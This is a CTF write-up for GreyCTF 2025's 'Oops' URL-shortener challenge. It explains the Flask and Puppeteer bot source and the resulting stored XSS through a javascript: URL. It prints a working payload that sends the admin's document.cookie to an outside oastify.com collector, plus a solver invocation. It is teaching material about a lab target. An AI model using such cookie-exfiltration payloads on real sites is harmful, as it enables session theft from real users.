Oops
Oops
Challenge Description
Simple URL shortener. What could go wrong?
Source Code Analysis
app.py (Server)
http://web-oops-app:5000/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@app.route('/', methods=['GET', 'POST'])
def index():
message = None
shortened_url = None
if request.method == 'POST':
original_url = request.form['original_url']
url = original_url.lower()
while "script" in url:
url = url.replace("script", "")
# Generate unique short code
while True:
short_code = generate_short_code()
conn = get_db_connection()
existing = conn.execute('SELECT id FROM urls WHERE short_code = ?',
(short_code,)).fetchone()
if not existing:
break
conn.close()
# Save to database
conn = get_db_connection()
conn.execute('INSERT INTO urls (original_url, short_code) VALUES (?, ?)',
(original_url, short_code))
conn.commit()
conn.close()
shortened_url = request.host_url + short_code
message = "URL shortened successfully!"
return render_template("index.html",
message=message,
shortened_url=shortened_url)
- Receives the specified URL.
- Generates a 6 character alphanumeric string (
short_code
).- Checks db to see if the
short_code
already exists, if its unique, break out of the loop.- Inserts the original URL and the alphanumeric string into the db.
- Returns
request.host_url + short_code
.
Not Vulnerable to SQLi
- Parameterized queries are used.
- User input is bound as data, not concatenated.
Issues with the Code
- No validation, the server does not validate whether
original_url
is a properly formatted URL.- No sanitization,
original_url
is inserted into the database without sanitization.
1
2
3
4
5
6
7
8
9
10
@app.post('/report')
def report():
submit_id = request.form["submit_id"]
submit_id = submit_id.split("/")[-1]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ADMIN_HOST, ADMIN_PORT))
s.sendall(submit_id.encode())
s.close()
return render_template("index.html",
report_message="Reported successfully.")
- Connects to
web-oops-admin:3000
.- Splits the specified URL and store the
path
intosubmit_id
.- Send
submit_id
to the admin server atweb-oops-admin:3000
.- The logic of the admin server
web-oops-admin:3000
is the next section (bot.js
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route('/<short_code>')
def redirect_url(short_code):
conn = get_db_connection()
url_data = conn.execute('SELECT original_url FROM urls WHERE short_code = ?',
(short_code,)).fetchone()
if url_data:
# Increment click counter
conn.execute('UPDATE urls SET clicks = clicks + 1 WHERE short_code = ?',
(short_code,))
conn.commit()
conn.close()
return render_template("redir.html", url=url_data["original_url"]), 200
else:
conn.close()
return render_template("not_found.html"), 404
- Retrieves the
original_url
from the database based on the user-suppliedshort_code
.- Renders the
redir.html
template, passing the unvalidated and unsanitizedoriginal_url
as a template variableurl
.- Flask (
Jinja2
) escapes HTML characters by default when rendering in HTML.
1
2
3
4
<!-- redir.html -->
<script>
location.href = ""
</script>
original_url
is inserted inside<script>
tags
Vulnerable to XSS, here’s why
location.href
can be used to execute JS. Refer to this.- The original URL is not sanitized before it is inserted into the DB.
- The original URL is partially sanitized (Only HTML characters are escaped) by
Jinja2
when renderingredir.html
. DangerousJS
characters such as ` not escaped.
bot.js (Admin)
web-oops-admin:3000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const visitSubmission = async (id) => {
if (!id.match(/^[0-9a-zA-Z]{6}$/)) {
return
}
const browser = await getBrowser()
const page = await browser.newPage()
const hostname = new URL(BASE_URL).hostname
await page.setCookie({
name: 'admin_flag',
value: FLAG,
domain: hostname,
path: '/',
httpOnly: false,
secure: false
})
try {
await page.goto(BASE_URL + id, { waitUntil: 'networkidle2', timeout: 5000 })
}
catch (e) {
console.log(e)
}
await page.close()
returnBrowser(browser)
}
- Checks if the argument
id
is a 6-character alphanumeric string.- Initializes browser and page
- Obtains hostname based on
http://web-oops-app:5000/
->web-oops-app
- Sets a cookie with attributes critical to whether it will be sent on page visits.
- Visits the page and sends cookie depending whether the website qualifies for the cookie to be sent.
Cookie Attribute Breakdown, Learn Here
domain: hostname
->domain: web-oops-app
- Cookie will only be sent IF visiting website domain is
web-oops-app
, we can’t simply specify an arbitrary website for the bot to visit for e.g.x.oastify.com
, otherwise the cookie will NOT be sent.path: /
- Cookie is sent for all paths (
/
and anything under it).httpOnly: false
- Cookie can be accessed with JS, so we can do
document.cookie
.secure: false
- Cookie is sent even if visiting website is
http
- This is only allowed if
SameSite=Lax/Strict
.SameSite: unset
- Defaults to
Lax
.
1
2
3
4
5
6
const server = net.createServer((socket) => {
socket.on('data', async (data) => {
const id = data.toString()
await visitSubmission(id)
})
})
- Starts a server to receive
submit_id
from/report
and triggervisitSubmission(id)
.
TLDR
Admin Server (bot.js
) Behavior:
bot.js
script acts as an admin user, automatically visiting URLs reported through/report
.- Based on the implementation, the admin bot will only visit
- URLs hosted on
http://web-oops-app:5000
AND - Paths that match a 6-character alphanumeric string (
[0-9a-zA-Z]{6}
).
- URLs hosted on
URL Shortening and Redirection Logic:
User submits a
POST
request tohttp://web-oops-app:5000/
.- The server generates a random 6-character alphanumeric
short_code
, maps it to the submittedoriginal_url
. - Inserts the mapping into the database.
- Returns the shortened URL,
http://challs2.nusgreyhats.org:33001/ZT1ETj
.
- The server generates a random 6-character alphanumeric
User visits the shortened URL
- The server retrieves the
original_url
associated with theshort_code
from the database. - The server renders
redir.html
, injecting theoriginal_url
into (view snippet below)
1 2 3
<script> location.href = "" </script>
- The server retrieves the
To solve:
- Submit an XSS payload
javascript:alert(document.cookie)
instead of a normal URL. The server generates a random 6-character alphanumericshort_code
, maps it to the submittedoriginal_url
(xss payload), inserts the mapping into the database, and returns the shortened URL- The payload MUST NOT contain any HTML special characters (
"
,<
,>
,&
,'
).
- The payload MUST NOT contain any HTML special characters (
- Report the shortened URL via the
/report
endpoint. - Admin visits the shortened URL because it complies with the restrictions
http://web-opps-app:5000
and the path matches the expected 6-character alphanumeric format. - Server retrieves the
original_url
associated with theshort_code
from the database and renders it intoredir.html
. Flask returns<script>location.href="<original_url>"</script>
. In this case it will be<script>location.href="javacsript:alert(document.cookie)"</script>
- The XSS payload is executed when the admin loads the page.
Solve
Verify that XSS is possible with an alert payload
1
original_url=javascript:alert(1)
Replace the
alert
with a payload to exfiltrate cookies and verify it locally before proceeding.1
javascript:location.href=`https://k4psg6qqz7gqf2jspepvrpmgt7zynqlea.oastify.com/collect?c=${document.cookie}`
Payload Worked !
- It doesn’t use any HTML characters.
httpOnly: false
, the cookie is accessible viadocument.cookie
and can be exfiltrated.- We’re redirected to attacker’s server.
Report the shortened URL.
Admin visits the URL, XSS executes and redirects to the attacker’s site, appending the admin’s cookie as a GET parameter
Solve
Solver
1 2 3 4
~/labs/greyctf2025/ezpz/oops venv3 ❯ python3 solve.py --url http://192.168.150.135:33001 --webhook_url https://1y09ank7toa79jd9jvjcl6gxnotfh7iv7.oastify.com [+] shortened_url: http://192.168.150.135:33001/d6jJkf [+] check collaborator for flag
This post is licensed under CC BY 4.0 by the author.